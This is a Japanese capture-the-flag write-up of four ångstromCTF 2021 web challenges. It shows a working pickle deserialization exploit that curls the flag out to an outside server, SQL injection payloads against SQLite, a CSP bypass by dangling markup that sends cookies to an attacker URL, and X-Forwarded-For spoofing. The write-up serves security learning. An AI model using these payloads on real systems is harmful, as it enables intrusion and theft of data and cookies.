writeup
ångstromCTFお疲れ様でした~
— よーでん (@y0d3n) 2021年4月8日
実質ソロ参加で372/1502位。
webもうちょっと解きたかったけど、CSPのXSSを初めて解けたので嬉しい#CTFから逃げるな pic.twitter.com/4hd7jFpZ6R
585点で372位。時間の長いCTFだとどうしても初日で燃え尽きてしまう・・・
解けたwebだけwriteup書いていきます。
Jar (70pt 349solve)
My other pickle challenges seem to be giving you all a hard time, so here's a [simpler one](url) to get you warmed up.
アクセスすると、でかでかとピクルスの画像。
入力した内容がランダムな場所に出現する。(以下a
, b
, hoge
と入力した状態)
ソースが配布されているので読むと、pythonのpickle
を利用して入力値をcookieに保存しているようだ。
@app.route('/add', methods=['POST']) def add(): contents = request.cookies.get('contents') if contents: items = pickle.loads(base64.b64decode(contents)) else: items = [] items.append(request.form['item']) response = make_response(redirect('/')) response.set_cookie('contents', base64.b64encode(pickle.dumps(items))) return response
pickle exploit
等でググるといっぱい出てくるので、参考にしてexplitを書く。
今回の問題ではpickle.dumps
される部分が配列になっているので、元のソースのRCE()
の部分を[RCE()]
にした。
import os import pickle import base64 class RCE: def __reduce__(self): cmd = ('curl [url]?`echo $FLAG`') return os.system, (cmd,) if __name__ == '__main__': pickled = pickle.dumps([RCE()]) print(base64.urlsafe_b64encode(pickled))
実行結果はgASVaQAAAAAAAABdlIwFcG9zaXiUjAZzeXN0ZW2Uk5SMS2N1cmwgaHR0cHM6Ly93ZWJob29rLnNpdGUvNjVlOTRiZjQtMDExMC00ZTE5LWIxOTItMDllYzhjOGE2YWU4P2BlY2hvICRGTEFHYJSFlFKUYS4=
。これをcookieにセットしてページを更新すれば、[url]?[flag]
にアクセスが来る。
フォーマットをよしなにすればflag。
actf{you_got_yourself_out_of_a_pickle}
Sea of Quills (70pt 376solve)
Come check out our [finest selection of quills](url)!
アクセスすると、よくわからない一覧が表示される。
Exploreに遷移すると、Amount
とStarting from
を指定する検索ページ。
Amount
などに文字を入れると怒られ、数字を入れるといいかんじにレスポンスが返ってくる。
ソースが配布されているので見てみる。
post '/quills' do db = SQLite3::Database.new "quills.db" (snip) blacklist = ["-", "/", ";", "'", "\""] blacklist.each { |word| if cols.include? word return "beep boop sqli detected!" end } if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off) return "bad, no quills for you!" end @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
のところ、SQLiがありそうだ。
lim
とoff
はExploreで指定した二つのパラメータだろう。数字しか受け付けないらしいのであまり活用できなそう。cols
に注目する。
開発者ツールで通信を見てみると、POST時にcol
も送信している。SQLiができそうだ。
rubyのソースを読んでSQLite3を使用していることがわかったので、burpで通信を書き換えてsqlite_master
に対してselect
してみる。
blacklist
で記号が弾かれるため、コメントアウトが使えそうにない。
構文を成立させてselect
する必要がある。
limit=10&offset=1&cols=*+from+sqlite_master+union+select+1,2,3,4,5
sqlite_masterのカラム数は5なので、union+select+1,2,3,4,5
を忘れないように。
リクエストを送ると、以下のレスポンスが返ってくる。
<li class="pb5 pl3"> flagtable <ul> <li> flagtable </li> </ul> </li>
flagtable
からselect
する。
limit=10&offset=1&cols=*+from+flagtable+union+select+1
flagが返ってくる。
actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}
nomnomnom (130pt 112solve)
I've made a new game that is sure to make all the Venture Capitalists want to invest! Care to try it out? [NOM NOM NOM (the game)](url)
十字キーで青い球を操って黄色い球を回収していくゲーム。1つ回収するたびに青い球が速くなっていき、壁に激突するとゲームオーバー。(自己ベストは13点)
ゲームオーバーになると、what's your username? (for the share)
という内容のprompt
が実行される。そこにユーザ名を入力した結果が以下。
この時のURLはshares/43780c60b357d32b
。shares
以降の16進数はランダム。
Play!
は再チャレンジ、Report
はクローラーに現在のURLを提出する。
yoden
の部分がユーザの入力値が反映される部分。
試しに<s>sss</s>
と入力するとHTMLがエスケープ等されずに出力された。
となると、script
を入れてみたくなる。<script>alert(1)</script>
と入力してみる。
nonceが正しくないと怒られる。XSSするならCSPをバイパスしないといけないようだ。
このときのソースは以下。
This score was set by <script>alert(1)</script> <script nonce='e8b575c99d536782e1588ec51e30c285'> function report() { fetch('/report/06c9f8884f64b64b', { method: 'POST' }) } document.getElementById('reporter').onclick = () => { report() } </script>
入力値の直下にreport
のscript
がある。
Dangling markup injectionが使えそうだ。
クローラーのソースを読むと、firefoxを指定しているのでfirefoxで試す。
const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' })
alert(1)
とだけ書いた自前サーバを用意し、<script src="[url]"
*1を入力する。
HTMLを意図的に崩した影響で、src="[url]"
, <script=""
, nonce="[nonce]"
という属性を持ったscriptタグを作ることに成功した。
サーバの内容をdocument.location="[url]?"+document.cookie
にしてreportすればアクセスがくるかと思ったが、HTMLを壊したことで、resultを送信するjsが上手く動かない。
仕方ないのでyoden
などでshareしたもののreport
をburpで書き換える。
share/[yodenのURL]
をreportすると以下。
POST /report/[yodenのURL] HTTP/1.1
[yodenのURL]の部分を[<script
のURL]に書き換えるとcookieつきでアクセスがくる。
cookieにno_this_is_not_the_challenge_go_away=45628003f424b67698622e643f86ed78126981f5b545d2c403e232b11bc96cb751aa93e481ca20d04aee0ac64e37c2068c09db440d3aa86a100bd21eb59088b9
をセットしてページを更新すればflag。
(書きながら試したところcookieの値が変わっていたので、この値ではflagはでません)
actf{w0ah_the_t4g_n0mm3d_th1ng5}
Spoofy (160pt 197solve)
Clam decided to switch from repl.it to an actual hosting service like Heroku. In typical clam fashion, [he left a backdoor](url) in. Unfortunately for him, he should've stayed with repl.it...
アクセスするといきなりI don't trust you >:(
といわれる。
ソースを読んでみる。
def main_page() -> Response: if "X-Forwarded-For" in request.headers: # https://stackoverflow.com/q/18264304/ # Some people say first ip in list, some people say last # I don't know who to believe # So just believe both ips: List[str] = request.headers["X-Forwarded-For"].split(", ") if not ips: return text_response("How is it even possible to have 0 IPs???", 400) if ips[0] != ips[-1]: return text_response( "First and last IPs disagree so I'm just going to not serve this request.", 400, ) ip: str = ips[0] if ip != "1.3.3.7": return text_response("I don't trust you >:(", 401) return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG) else: return text_response("Please run the server through a proxy.", 400)
X-Forwarded-For
ヘッダの最初と最後がどちらも1.3.3.7
だとflagがもらえるらしい。
burpでX-Forwarded-For: 1.3.3.7
にしたところ、First and last IPs disagree
。
問題サーバーまでにX-Forwarded-For
にIPが追加されてしまっているのだろう。
ソースを参考にローカルでいろいろ試していたら、X-Forwarded-For
ヘッダが二つある場合、一つ目の後ろに二つ目が結合されることがわかった。
X-Forwarded-For: 1.3.3.7 X-Forwarded-For: 1.3.3.7
request.headers["X-Forwarded-For"].split(", ")
を出力させると['1.3.3.7,1.3.3.7']
だった。
二つが結合されて1.3.3.7,1.3.3.7
になっている。split(", ")
なので、,
の後ろにスペースがなくてsplit
されていない。
ちなみに、この時のレスポンスはFirst and last IPs disagree
。
ここで、この時の実際のヘッダが以下のようになってるのではないかと予想した。*2*3
X-Forwarded-For: 1.3.3.7, 8.8.8.8 X-Forwarded-For: 1.3.3.7
もしこうなっていた場合、request.headers["X-Forwarded-For"].split(", ")
は['1.3.3.7', '8.8.8.8,1.3.3.7']
になっているはずだ。
split(", ")
で8.8.8.8と分離させるために、二つ目のX-Forwarded-For
ヘッダを, 1.3.3.7
にする。
X-Forwarded-For: 1.3.3.7 X-Forwarded-For: , 1.3.3.7
これでリクエストを送ってみたらflagがゲットできた。
actf{spoofing_is_quite_spiffy}